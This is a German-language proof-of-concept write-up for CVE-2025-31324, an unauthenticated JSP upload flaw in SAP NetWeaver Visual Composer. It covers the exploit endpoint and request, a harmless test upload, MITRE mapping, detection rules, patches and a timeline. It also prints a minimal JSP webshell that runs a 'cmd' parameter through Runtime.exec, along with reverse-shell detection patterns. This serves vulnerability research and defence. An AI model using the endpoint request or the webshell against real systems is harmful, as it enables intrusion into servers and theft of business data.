
Proof-of-Concept-Exploit für CVE-2025-31324, einen nicht authentifizierten Datei-Upload in SAP NetWeaver Visual Composer, mit Erkennungshinweisen, MITRE-Zuordnung und Behebungsmaßnahmen.
Typ: Proof of Concept — Schwachstellenforschung CVE: CVE-2025-31324 CVSS: 10.0 Kritisch (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) Status: Gepatched — SAP Security Note 3594142 + 3604119 Zur CISA KEV hinzugefügt: Mai 2025
⚠️ Dieser PoC verwendet eine harmlose JSP-Datei ("Hello World"), um die Angriffsfläche zu validieren, ohne bösartigen Code auszuführen. Ausschließliche Verwendung in autorisierten Umgebungen für Pentesting und die Entwicklung von Erkennungsregeln.
Entwickelt von: HKK$ cat ./vulnerability_summary.txtDie Schwachstelle CVE-2025-31324 liegt in der Komponente Visual Composer Metadata Uploader des SAP NetWeaver AS Java — ein Fehler der fehlenden Autorisierungsprüfung, der es jedem nicht authentifizierten Angreifer ermöglicht, POST-Anfragen an den Endpunkt /developmentserver/metadatauploader zu senden, was zu einem uneingeschränkten Upload beliebiger Dateien führt.
Die CVE betrifft speziell das SAP NetWeaver Visual Composer Framework Version 7.50, mit einem CVSS-Score von 10.0 — dem maximal möglichen.
Bedrohungsakteure haben diese Schwachstelle von Januar bis Mai 2025 aktiv ausgenutzt und persistente Webshells in hunderten von Systemen weltweit implantiert.
$ cat ./impact.txtDa es mit erhöhten Privilegien arbeitet und sich in der Nähe von ERP-Daten befindet, ist die laterale Bewegung zu SAP-ABAP-Stacks oder verbundenen Datenbanken nach der Ausnutzung trivial.
Die vollständige Ausnutzungskette bei realen Angriffen:
Upload JSP (CVE-2025-31324)
→ Persistente Webshell auf dem Server
→ RCE als SAP-Prozess (hohe Privilegien)
→ Zugriff auf ERP-Daten (Finanzen, HR, Supply Chain)
→ Laterale Bewegung zu ABAP / DB
→ Deployment von C2-Frameworks (z. B. Brute Ratel)
$ cat ./architecture.txt┌─────────────────────────────────────────────────────────────────────────┐
│ CVE-2025-31324 — EXPLOIT-FLOW │
│ │
│ ANGREIFER SAP NETWEAVER AS JAVA │
│ │
│ POST /developmentserver/metadatauploader │
│ Content-Type: multipart/form-data ┌─────────────────────┐ │
│ Body: JSP/WAR/beliebige Datei ──────────► │ Metadata Uploader │ │
│ (ohne Authentifizierung) │ │ │
│ │ ❌ Keine Prüfung │ │
│ │ der Auth │ │
│ │ ❌ Keine Validierung│ │
│ │ der Endung │ │
│ │ ❌ Keine Bereinigung│ │
│ │ des Inhalts │ │
│ └────────┬────────────┘ │
│ │ │
│ Datei gespeichert unter: │
│ /irj/root/ oder ähnlich │
│ │ │
│ GET /irj/hello_world.jsp ◄──────────────────────────┘ │
│ → Hello World (harmloser PoC) │
│ → Webshell (echter Exploit) │
└─────────────────────────────────────────────────────────────────────────┘
Der /developmentserver/metadatauploader ist Teil des SAP Visual Composer — eines Low-Code-Entwicklungstools für Business-Analysten, um SAP-Anwendungen ohne Java-Code zu erstellen. Der Endpunkt wurde entwickelt, um während der Entwicklung Metadatenmodelle zu empfangen. Obwohl die Komponente in der Standardkonfiguration von NetWeaver nicht aktiviert ist, berichtete Onapsis, dass sie in Produktionsumgebungen weit verbreitet aktiviert ist.
$ cat ./design_decisions.mdfile_content = """<%@ page language="java" contentType="text/html; charset=UTF-8" ...%>
<h1>Hello World</h1>"""
Warum JSP und nicht ein anderes Format?
Der SAP NetWeaver AS Java führt eine JVM aus — .jsp-Dateien werden direkt vom Servlet-Container (eingebetteter Apache Tomcat) ohne vorherige Kompilierung interpretiert. Das macht JSP zum idealen Format für Webshells in Java-Umgebungen.
Die Wahl des harmlosen Inhalts ("Hello World") ist für den PoC bewusst getroffen:
Bei realer Ausnutzung wäre der Inhalt eine JSP-Webshell mit Befehlsausführung, z. B.:
<%
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
%>
multipart/form-data — Warum dieser Content-Type?files = {'file': (file_name, open(file_name, 'rb'), 'application/octet-stream')}
Der Endpunkt erwartet eine multipart/form-data-Anfrage — dasselbe Format, das von HTML-Formularen für Datei-Uploads verwendet wird. Dies ist im ursprünglichen Design des Visual Composer beabsichtigt (Upload von Entwicklungsmodellen).
Die Bibliothek requests erstellt die Multipart-Grenzen automatisch, wenn files= übergeben wird — der Header Content-Type: multipart/form-data; boundary=... wird intern generiert.
verify=False: Deaktiviert die TLS-Zertifikatsvalidierung — notwendig, da SAP-Umgebungen häufig selbstsignierte Zertifikate verwenden. In der Produktion verify='/pfad/zu/ca-bundle.crt' verwenden.
https://<host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
| Komponente | Bedeutung |
|---|---|
:50201 | Standardport des SAP ICM (Internet Communication Manager) HTTPS |
/developmentserver/ | Entwicklungs-Servlet des Visual Composer |
metadatauploader | Spezifischer Endpunkt für den Metadaten-Upload |
CONTENTTYPE=MODEL | Vom Endpunkt erwarteter Inhaltstyp |
CLIENT=1 | SAP-Mandant — 000, 100, 001 sind üblich |
$ cat ./mitre_mapping.ymltactic: Initial Access
- T1190 # Exploit Public-Facing Application
# Ausnutzung des Endpunkts /developmentserver/metadatauploader
# ohne Authentifizierung über HTTP POST
tactic: Execution
- T1505.003 # Server Software Component: Web Shell
# JSP-Webshell hochgeladen → vom Servlet-Container (Tomcat) ausgeführt
tactic: Persistence
- T1505.003 # Web Shell als Persistenzmechanismus
# JSP-Datei bleibt über Neustarts hinweg im Dateisystem des Servers
tactic: Defense Evasion
- T1036 # Masquerading
# Webshells benannt wie legitime SAP-Dateien (z. B. metadata.jsp)
tactic: Discovery
- T1082 # System Information Discovery
# Nach RCE: Prozesse, Benutzer, SAP-Pfade aufzählen
tactic: Lateral Movement
- T1210 # Exploitation of Remote Services
# Zugriff auf den ABAP-Stack, verbundene Datenbanken über RCE
tactic: Collection
- T1005 # Data from Local System
# Direkter Zugriff auf ERP-Daten (Finanzen, HR, Supply Chain)
$ cat ./affected_versions.txtProdukt: SAP NetWeaver Application Server Java
Komponente: Visual Composer Framework
Version: 7.50 (alle Builds vor dem Patch von April/Mai 2025)
Patches:
SSN 3594142 → Erster Patch (April 2025) — entschärft den Datei-Upload
SSN 3604119 → Root-Cause-Fix über CVE-2025-42999 (Mai 2025) — adressiert die Ursache
SSN 3578900, 3620498, 3621771, 3634501 → Ergänzende Härtungs-Notes
CISA KEV: Sowohl CVE-2025-31324 als auch CVE-2025-42999 wurden zum Katalog hinzugefügt
$ cat ./detection_opportunities.md# Regel: Nicht authentifizierter POST an den Metadata-Uploader-Endpunkt
# Quelle: SAP Web Dispatcher / ICM-Zugriffsprotokoll
Bedingung:
- method: POST
- uri_path ENTHÄLT: /developmentserver/metadatauploader
- auth_header: FEHLT
- body_content_type: multipart/form-data
Schweregrad: KRITISCH — sofort untersuchen
# SAP-ICM-Protokoll — verdächtiges Muster:
[2025-04-25 03:41:22] POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
Status: 200 | Größe: 1337 | Auth: KEINE | IP: x.x.x.x
# Regel: GET auf kürzlich erstellte .jsp-Datei außerhalb legitimer SAP-Pfade
Bedingung:
- method: GET
- uri_path ENTSPRICHT: /irj/.*\.jsp
- file_creation_time: < 24h
- file_NICHT_IN: [Liste bekannter legitimer JSPs]
# Verdächtiger Kindprozess der SAP-JVM
# Quelle: Sysmon / EDR-Prozesserstellung
Bedingung:
- parent_process: java.exe oder jstart.exe
- child_process: cmd.exe ODER powershell.exe ODER sh ODER bash
- command_line ENTHÄLT: -c ODER .socket ODER .call( ODER .spawn(
Red Canary dokumentierte das folgende Erkennungsmuster für die Ausnutzung von CVE-2025-31324 in Linux-Umgebungen: python-Prozess mit dem Argument -c kombiniert mit .socket und .call( oder .spawn( — ein Hinweis auf eine Reverse Shell nach der Webshell.
# Suche nach POST-Anfragen an den verwundbaren Endpunkt in den letzten 90 Tagen
# Protokollverzeichnis: /usr/sap/<SID>/J<inst>/work/
grep -r "metadatauploader" /usr/sap/*/work/dev_icm* | grep "POST"
grep -r "metadatauploader" /usr/sap/*/work/http_access* | grep -v "GET"
# Kürzlich erstellte JSPs im Web-Verzeichnis auflisten
find /usr/sap/ -name "*.jsp" -newer /usr/sap/<SID>/SYS/global/security -type f
$ cat ./remediation.mdPRIORITÄT: KRITISCH — Sofortiger Patch
1. Prüfen, ob die Komponente aktiv ist:
NWA → Configuration → Infrastructure → Java System Properties
Suchen nach: com.sap.tc.vccomp.server.vis.jms.VisJmsService
2. Wenn nicht benötigt → Visual Composer DEAKTIVIEREN:
NWA → Start & Stop → Services → VisualComposer → Stop
3. Pflicht-Patches anwenden (in dieser Reihenfolge):
SSN 3594142 ← kritisch (Datei-Upload)
SSN 3604119 ← Root Cause (CVE-2025-42999)
SSN 3578900, 3620498, 3660659 (zusätzliche Härtung)
4. JVM-Serial-Filter konfigurieren (nach dem Patch):
NWA → JVM Parameters → Filter für bösartige Klassen hinzufügen
5. Netzwerkzugriff auf den Endpunkt im Web Dispatcher / der Firewall einschränken:
BLOCKIEREN: /developmentserver/* für externe IPs
ERLAUBEN: nur autorisierte Entwicklungshosts
6. IOCs prüfen — nach vor dem Patch implantierten Webshells suchen:
ICM-Protokolle seit Januar 2025 analysieren
Nach .jsp-Dateien mit verdächtigem Inhalt in /irj/ suchen
$ cat ./usage.sh# Abhängigkeit installieren
pip install requests
# URL im Skript vor der Ausführung bearbeiten:
# url = "https://<ihr-lab-host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1"
# Ausführen
python cve_2025_31324_poc.py
# Prüfen, ob der Upload funktioniert hat (Datei sollte zugänglich sein)
curl -k https://<host>:<port>/irj/hello_world.jsp
# Erwartete Antwort, wenn verwundbar: HTML mit "Hello World"
# Erwartete Antwort, wenn gepatcht: 404 oder 403
$ cat ./timeline.txtJan 2025 Beginn der aktiven Ausnutzung in-the-wild (retrospektiv erkannt)
24. Apr 2025 SAP veröffentlicht CVE-2025-31324 (CVSS 10.0) + SSN 3594142
28. Apr 2025 CISA nimmt sie in den Known Exploited Vulnerabilities Catalog auf
29. Apr 2025 Rapid7, Qualys, Red Canary veröffentlichen technische Analysen
07. Mai 2025 Onapsis + Mandiant (Google Cloud) veröffentlichen gemeinsames Briefing
13. Mai 2025 SAP veröffentlicht SSN 3604119 (Root Cause über CVE-2025-42999, CVSS 9.1)
15. Mai 2025 CISA nimmt CVE-2025-42999 in den KEV-Katalog auf
20. Mai 2025 CISA-Frist für das Patchen in US-Bundessystemen
25. Jun 2025 Unit 42 beendet die aktive Überwachung der Kampagne
$ cat ./references.mdCVE: https://www.cve.org/CVERecord?id=CVE-2025-31324
SAP Note: https://me.sap.com/notes/3594142
NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-31324
CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Onapsis: https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/
Rapid7: https://www.rapid7.com/blog/post/2025/04/28/etr-active-exploitation-of-sap-netweaver-visual-composer-cve-2025-31324/
Unit 42: https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/
Red Canary: https://redcanary.com/blog/threat-intelligence/cve-2025-31324/
$ cat ./lessons_learned.txt[+] Fehlende Auth bei "Entwicklungs"-Endpunkten ist ein klassischer, unterschätzter Vektor
[+] CVSS 10.0 bedeutet: keine Auth + Netzwerk + volles RCE — das kritischste Triple möglich
[+] Visual Composer ist nicht Standard, war aber in der Produktion weit verbreitet aktiv — Risiko durch Schattenfunktionen
[+] JSP als Webshell ist besonders heimlich: keine Kompilierung, direkt vom Container ausgeführt
[+] Bedrohungsakteure nutzten es über 3+ Monate vor der öffentlichen Offenlegung aus — SOC-Erkennung ist entscheidend
[-] verify=False im PoC — bei echten Pentests das selbstsignierte Zertifikat dokumentieren und verify=Pfad verwenden
[-] CLIENT=1 fest codiert — die Produktion kann 000, 100, 200 verwenden; vorher aufzählen
[-] PoC prüft nicht, ob die Datei nach dem Upload zugänglich ist — GET zur Bestätigung hinzufügen
[→] Verbesserungen: argparse für Host/Port/Client, automatische Prüfung nach dem Upload, JSON-Ausgabe
CVE-Forschung · CVSS 10.0 · Gepatched April/Mai 2025 · CISA KEV · Nur für autorisierte Tests